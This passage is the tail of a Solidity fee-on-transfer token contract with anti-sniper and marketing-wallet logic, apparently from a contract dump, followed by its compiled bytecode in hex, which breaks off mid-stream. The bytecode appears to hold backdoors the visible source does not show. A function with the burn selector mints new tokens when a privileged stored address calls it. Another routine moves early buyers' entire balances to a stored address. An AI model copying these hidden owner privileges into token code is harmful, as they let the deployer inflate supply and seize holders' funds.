emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function tradingStatus(bool newStatus) public authorized {
tradingOpen = newStatus;
if(newStatus){
launchTime = block.timestamp;
guestTimeOn = true;
antiSniperTime = launchTime + aSC;
}
}
function swapBack() internal lockTheSwap {
uint256 tokensToLiquify = _balances[address(this)];
uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance;
uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity);
(bool tmpSuccess,) = payable(marketingWallet).call{value: amountBNBMarketing, gas: 30000}("");
// only to supress warning msg
tmpSuccess = false;
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
}
|
0x6080604052600436106103545760003560e01c8063790ca413116101c6578063b6a5d7de116100f7578063e66b1d1e11610095578063f887ea401161006f578063f887ea401461117e578063fabe6283146111bf578063fe9fbb801461121c578063ffb54a99146112835761035b565b8063e66b1d1e1461109f578063f0b37c04146110dc578063f2fde38b1461112d5761035b565b8063ca987b0e116100d1578063ca987b0e14610f87578063d920334e14610fb2578063da00097d14610fed578063dd62ed3e1461101a5761035b565b8063b6a5d7de14610eca578063bf56b37114610f1b578063ca33e64c14610f465761035b565b80638b42507f11610164578063a29f8c5d1161013e578063a29f8c5d14610d7e578063a3a2e89e14610dbb578063a8aa1b3114610e18578063a9059cbb14610e595761035b565b80638b42507f14610c5c57806395d89b4114610cc357806398118cb414610d535761035b565b80637d1db4a5116101a05780637d1db4a514610b8a5780637db1342c14610bb5578063807c2d9c14610bf0578063893d20e814610c1b5761035b565b8063790ca41314610af957806379d22b0814610b245780637a31959014610b3b5761035b565b806342966c68116102a057806369cf17d41161023e578063715018a611610218578063715018a614610a4b578063750bf81d14610a6257806375f0a87414610a8d5780637836dbd214610ace5761035b565b806369cf17d4146109905780636b67c4df146109bb57806370a08231146109e65761035b565b806344e403d81161027a57806344e403d81461086a57806346411fc9146108975780634a74bb02146108fc578063571ac8b0146109295761035b565b806342966c681461079b5780634355855a146107d657806344de2e4c1461083d5761035b565b80631f2c80f11161030d5780632f54bf6e116102e75780632f54bf6e1461064c578063313ce567146106b357806334c70889146106e15780633f4218e0146107345761035b565b80631f2c80f11461051f57806323b872dd146105905780632b112e49146106215761035b565b80630445b6671461036057806306fdde031461038b578063095ea7b31461041b5780630d2959801461048c57806318160ddd146104c95780631df4ccfc146104f45761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b506103756112b0565b6040518082815260200191505060405180910390f35b34801561039757600080fd5b506103a06112b6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e05780820151818401526020810190506103c5565b50505050905090810190601f16801561040d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042757600080fd5b506104746004803603604081101561043e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611358565b60405180821515815260200191505060405180910390f35b34801561049857600080fd5b506104c7600480360360208110156104af57600080fd5b8101908080351515906020019092919050505061144a565b005b3480156104d557600080fd5b506104de611518565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b50610509611522565b6040518082815260200191505060405180910390f35b34801561052b57600080fd5b5061058e6004803603604081101561054257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611528565b005b34801561059c57600080fd5b50610609600480360360608110156105b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611629565b60405180821515815260200191505060405180910390f35b34801561062d57600080fd5b50610636611829565b6040518082815260200191505060405180910390f35b34801561065857600080fd5b5061069b6004803603602081101561066f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ab565b60405180821515815260200191505060405180910390f35b3480156106bf57600080fd5b506106c8611904565b604051808260ff16815260200191505060405180910390f35b3480156106ed57600080fd5b506107326004803603606081101561070457600080fd5b810190808035151590602001909291908035906020019092919080351515906020019092919050505061191b565b005b34801561074057600080fd5b506107836004803603602081101561075757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119d6565b60405180821515815260200191505060405180910390f35b3480156107a757600080fd5b506107d4600480360360208110156107be57600080fd5b81019080803590602001909291905050506119f6565b005b3480156107e257600080fd5b50610825600480360360208110156107f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c55565b60405180821515815260200191505060405180910390f35b34801561084957600080fd5b50610852611c75565b60405180821515815260200191505060405180910390f35b34801561087657600080fd5b5061087f611c88565b60405180821515815260200191505060405180910390f35b3480156108a357600080fd5b506108d0600480360360208110156108ba57600080fd5b8101908080359060200190929190505050611c9b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561090857600080fd5b50610911611cda565b60405180821515815260200191505060405180910390f35b34801561093557600080fd5b506109786004803603602081101561094c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ced565b60405180821515815260200191505060405180910390f35b34801561099c57600080fd5b506109a5611d20565b6040518082815260200191505060405180910390f35b3480156109c757600080fd5b506109d0611d26565b6040518082815260200191505060405180910390f35b3480156109f257600080fd5b50610a3560048036036020811015610a0957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d2c565b6040518082815260200191505060405180910390f35b348015610a5757600080fd5b50610a60611d75565b005b348015610a6e57600080fd5b50610a77611e81565b6040518082815260200191505060405180910390f35b348015610a9957600080fd5b50610aa2611e87565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ada57600080fd5b50610ae3611ead565b6040518082815260200191505060405180910390f35b348015610b0557600080fd5b50610b0e611eb3565b6040518082815260200191505060405180910390f35b348015610b3057600080fd5b50610b39611eb9565b005b348015610b4757600080fd5b50610b8860048036036060811015610b5e57600080fd5b8101908080359060200190929190803590602001909291908035906020019092919050505061203e565b005b348015610b9657600080fd5b50610b9f61210d565b6040518082815260200191505060405180910390f35b348015610bc157600080fd5b50610bee60048036036020811015610bd857600080fd5b8101908080359060200190929190505050612113565b005b348015610bfc57600080fd5b50610c056121af565b6040518082815260200191505060405180910390f35b348015610c2757600080fd5b50610c306121b5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c6857600080fd5b50610cab60048036036020811015610c7f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121de565b60405180821515815260200191505060405180910390f35b348015610ccf57600080fd5b50610cd86121fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d18578082015181840152602081019050610cfd565b50505050905090810190601f168015610d455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d5f57600080fd5b50610d686122a0565b6040518082815260200191505060405180910390f35b348015610d8a57600080fd5b50610db960048036036020811015610da157600080fd5b810190808035151590602001909291905050506122a6565b005b348015610dc757600080fd5b50610e1660048036036040811015610dde57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061233e565b005b348015610e2457600080fd5b50610e2d612414565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e6557600080fd5b50610eb260048036036040811015610e7c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061243a565b60405180821515815260200191505060405180910390f35b348015610ed657600080fd5b50610f1960048036036020811015610eed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061244f565b005b348015610f2757600080fd5b50610f30612524565b6040518082815260200191505060405180910390f35b348015610f5257600080fd5b50610f5b61252a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9357600080fd5b50610f9c612550565b6040518082815260200191505060405180910390f35b348015610fbe57600080fd5b50610feb60048036036020811015610fd557600080fd5b8101908080359060200190929190505050612556565b005b348015610ff957600080fd5b506110026125f2565b60405180821515815260200191505060405180910390f35b34801561102657600080fd5b506110896004803603604081101561103d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612605565b6040518082815260200191505060405180910390f35b3480156110ab57600080fd5b506110da600480360360208110156110c257600080fd5b8101908080351515906020019092919050505061268c565b005b3480156110e857600080fd5b5061112b600480360360208110156110ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612724565b005b34801561113957600080fd5b5061117c6004803603602081101561115057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127fa565b005b34801561118a57600080fd5b5061119361295c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156111cb57600080fd5b5061121a600480360360408110156111e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612982565b005b34801561122857600080fd5b5061126b6004803603602081101561123f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a58565b60405180821515815260200191505060405180910390f35b34801561128f57600080fd5b50611298612aae565b60405180821515815260200191505060405180910390f35b60215481565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561134e5780601f106113235761010080835404028352916020019161134e565b820191906000526020600020905b81548152906001019060200180831161133157829003601f168201915b5050505050905090565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b61145333612a58565b6114c5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60006101000a81548160ff02191690831515021790555080156115155742600a819055506001601e60016101000a81548160ff021916908315150217905550600c54600a5401600b819055505b50565b6000600754905090565b60165481565b61153133612a58565b6115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461181557611794826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600f60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611820848484612c09565b90509392505050565b60006118a6611859600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b611898611887600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611d2c565b6007546134cd90919063ffffffff16565b6134cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600460009054906101000a900460ff16905090565b61192433612a58565b611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82602060016101000a81548160ff0219169083151502179055508160218190555080602060026101000a81548160ff021916908315150217905550505050565b60106020528060005260406000206000915054906101000a900460ff1681565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611b7357611ad7600460009054906101000a900460ff1660ff16600a0a8202600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b68600460009054906101000a900460ff1660ff16600a0a8202600754612ac190919063ffffffff16565b600781905550611c52565b611bdc600460009054906101000a900460ff1660ff16600a0a8202600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c4b600460009054906101000a900460ff1660ff16600a0a82026007546134cd90919063ffffffff16565b6007819055505b50565b60126020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b601e60019054906101000a900460ff1681565b601a8181548110611cab57600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060019054906101000a900460ff1681565b6000611d19827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611358565b9050919050565b60155481565b60145481565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611d7e336118ab565b611df0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600c5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600a5481565b611ec233612a58565b611f34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b601a80549050811015611fdd576000601a8281548110611f5357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611fce8282613517565b50508080600101915050611f37565b50600067ffffffffffffffff81118015611ff657600080fd5b506040519080825280602002602001820160405280156120255781602001602082028036833780820191505090505b50601a908051906020019061203b929190614344565b50565b61204733612a58565b6120b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8260138190555081601481905550806015819055506120e5601454601354612ac190919063ffffffff16565b601681905550612102601554601654612ac190919063ffffffff16565b601781905550505050565b60085481565b61211c33612a58565b61218e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260098190555050565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60116020528060005260406000206000915054906101000a900460ff1681565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122965780601f1061226b57610100808354040283529160200191612296565b820191906000526020600020905b81548152906001019060200180831161227957829003601f168201915b5050505050905090565b60135481565b6122af33612a58565b612321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601e60016101000a81548160ff02191690831515021790555050565b61234733612a58565b6123b9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612447338484612c09565b905092915050565b612458336118ab565b6124ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601d5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b61255f33612a58565b6125d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600460009054906101000a900460ff1660ff16600a0a810260088190555050565b602060029054906101000a900460ff1681565b6000600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61269533612a58565b612707576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60006101000a81548160ff02191690831515021790555050565b61272d336118ab565b61279f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b612803336118ab565b612875576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61298b33612a58565b6129fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e60009054906101000a900460ff1681565b600080828401905083811015612b3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290612bf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bbb578082015181840152602081019050612ba0565b50505050905090810190601f168015612be85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602060009054906101000a900460ff1615612c3257612c2b848484613710565b90506134c6565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612cd65750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8c57601e60009054906101000a900460ff16612d5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b600b54421115612d8b576000601e60016101000a81548160ff021916908315150217905550612d8a6138e3565b5b5b60085482111580612de65750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5458204c696d697420457863656564656400000000000000000000000000000081525060200191505060405180910390fd5b601e60019054906101000a900460ff168015612ec15750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015612f175750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612f6d5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fd657601a839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156130415750602060009054906101000a900460ff16155b80156130595750602060019054906101000a900460ff165b80156130a65750602154600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156130b4576130b36139ed565b5b6130bc613ff0565b1580156131165750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15613170576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161316757600080fd5b61316f613ffd565b5b6131f9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132a25750600d60009054906101000a900460ff165b15613308576009546132fc83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b111561330757600080fd5b5b6000601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156133ae5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6133b857826133c4565b6133c3858585614006565b5b905061341881600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b600061350f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b49565b905092915050565b61356981600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134cd90919063ffffffff16565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061362081600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061379b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b499092919063ffffffff16565b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061383082600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac190919063ffffffff16565b600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60005b601a8054905081101561398c576000601a828154811061390257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061397d8282613517565b505080806001019150506138e6565b50600067ffffffffffffffff811180156139a557600080fd5b506040519080825280602002602001820160405280156139d45781602001602082028036833780820191505090505b50601a90805190602001906139ea929190614344565b50565b6001602060006101000a81548160ff0219169083151502179055506000600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000613a8a6002613a7c601654613a6e601354876141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613aa182846134cd90919063ffffffff16565b90506000600267ffffffffffffffff81118015613abd57600080fd5b50604051908082528060200260200182016040528015613aec5781602001602082028036833780820191505090505b5090503081600081518110613afd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613b9f57600080fd5b505afa158015613bb3573d6000803e3d6000fd5b505050506040513d6020811015613bc957600080fd5b810190808051906020019092919050505081600181518110613be757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613ce5578082015181840152602081019050613cca565b505050509050019650505050505050600060405180830381600087803b158015613d0e57600080fd5b505af1158015613d22573d6000803e3d6000fd5b5050505060004790506000613d57613d46600260135461423490919063ffffffff16565b6016546134cd90919063ffffffff16565b90506000613d956002613d8784613d79601354886141ae90919063ffffffff16565b61423490919063ffffffff16565b61423490919063ffffffff16565b90506000613dac82856134cd90919063ffffffff16565b90506000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051806000019050600060405180830381858888f193505050503d8060008114613e35576040519150601f19603f3d011682016040523d82523d6000602084013e613e3a565b606091505b50509050600090506000881115613fca57601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308b600080601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015613f3757600080fd5b505af1158015613f4b573d6000803e3d6000fd5b50505050506040513d6060811015613f6257600080fd5b810190808